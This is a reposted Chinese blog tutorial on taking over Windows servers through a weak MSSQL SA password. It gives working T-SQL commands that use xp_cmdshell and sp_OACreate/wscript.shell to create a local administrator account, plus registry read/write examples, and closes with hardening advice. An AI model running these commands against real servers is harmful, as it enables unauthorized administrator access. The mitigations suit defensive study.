zoukankan      html  css  js  c++  java
  • 通过MSSQL SA弱口令入侵服务器

    话说前几天乌云爆了一个cms的漏洞 该漏洞可以直接打开网站后台的sql执行页面
    从而入侵数据库 添加管理员用户 这样就得到服务器了 喵了个咪!
    下面给大家介绍下
     
    Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。网络中利用Microsoft SQLServer SA弱口令入侵的核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什么是存储过程?
     
    存储过程是存储在SQLServer中的预先写好的SQL语句集合,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:
     
     exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net 
    localgroup administrators test /add'
     
    这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户。
     
    现在你应该明白为什么得到SA密码,就可以得到系统的最高权限了吧。而往往不少网络管理员不清楚这个情况,为自己的SA用户起了一些诸如1234,4321等简单的密码,甚至根本就不设置密码,这样网络入侵者就可以利用一些黑客工具很轻松的扫描到SA的密码,进而控制计算机。
     
    除了xp_cmdshell,还有一些存储过程也有可能会被入侵者利用到:
     
    1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):
     

    DECLARE @test varchar(50)
    EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
    @key='system\controlset001\control\computername\computername',
    @value_name='computername',
    @value=@test OUTPUT
    SELECT @test
     
    2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):
     
     EXEC master..xp_regwrite
    @rootkey='HKEY_LOCAL_MACHINE',
    @key='SOFTWARE\aaa',
    @value_name='aaaValue',
    @type='REG_SZ',
    @value='bbb'
     
    如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那使用xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户,得到管理员权限。xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患。
    3、OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,使用方法:
     
    DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
    EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 
    1234 /add'
     
    这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:
     
    DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
    EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup 
    administrators test /add '
     
    用户test,被加入管理员组。
     
    解决办法:给SA起个足够复杂的密码,使网络攻击者很难破解出来。为了保险,我们还要到在SQLServer的查询分析器中使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需要时再使用sp_addextendedproc恢复即可,具体操作可以在SQLServer中查询sp_dropextendedproc和sp_addextendedproc的使用帮助,需要注意一点的是删除OLE相关系列的存储过程,可能会造成企业管理器中的某些功能无法使用,这里笔者不建议删除。
     
    既然我们知道了SP_OACREATE的使用方法,那我们就可以到\WINNT\system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把可以对他们访问的用户全部删除掉,这样就无法使用SP_OACREATE来增加系统用户了,在我们需要访问这些文件的时候再加上访问用户就可以了。
     
    本文转载自51cto。
    转载请注明出处:
    作者:wy811007
    出处:http://wy811007.cnblogs.com
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    20162304 2017-2018-1 《程序设计与数据结构》第十周学习总结
    20162304 2017-2018-1 《程序设计与数据结构》第九周学习总结
    20162304 2017-2018-1 《程序设计与数据结构》第八周学习总结
    20162302 2017-2018-1《程序设计与数据结构》课程总结
    20162302 实验五《数据结构综合应用》实验报告
    20162302 实验四《图的实现与应用》实验报告
    20162302 《程序设计与数据结构》第十一周学习总结
    20162302 《程序设计与数据结构》第十周学习总结
    20162302 实验三《查找与排序》实验报告
    20162302 《程序设计与数据结构》第九周学习总结
  • 原文地址:https://www.cnblogs.com/wy811007/p/MSSQL_SA.html
Copyright © 2011-2022 走看看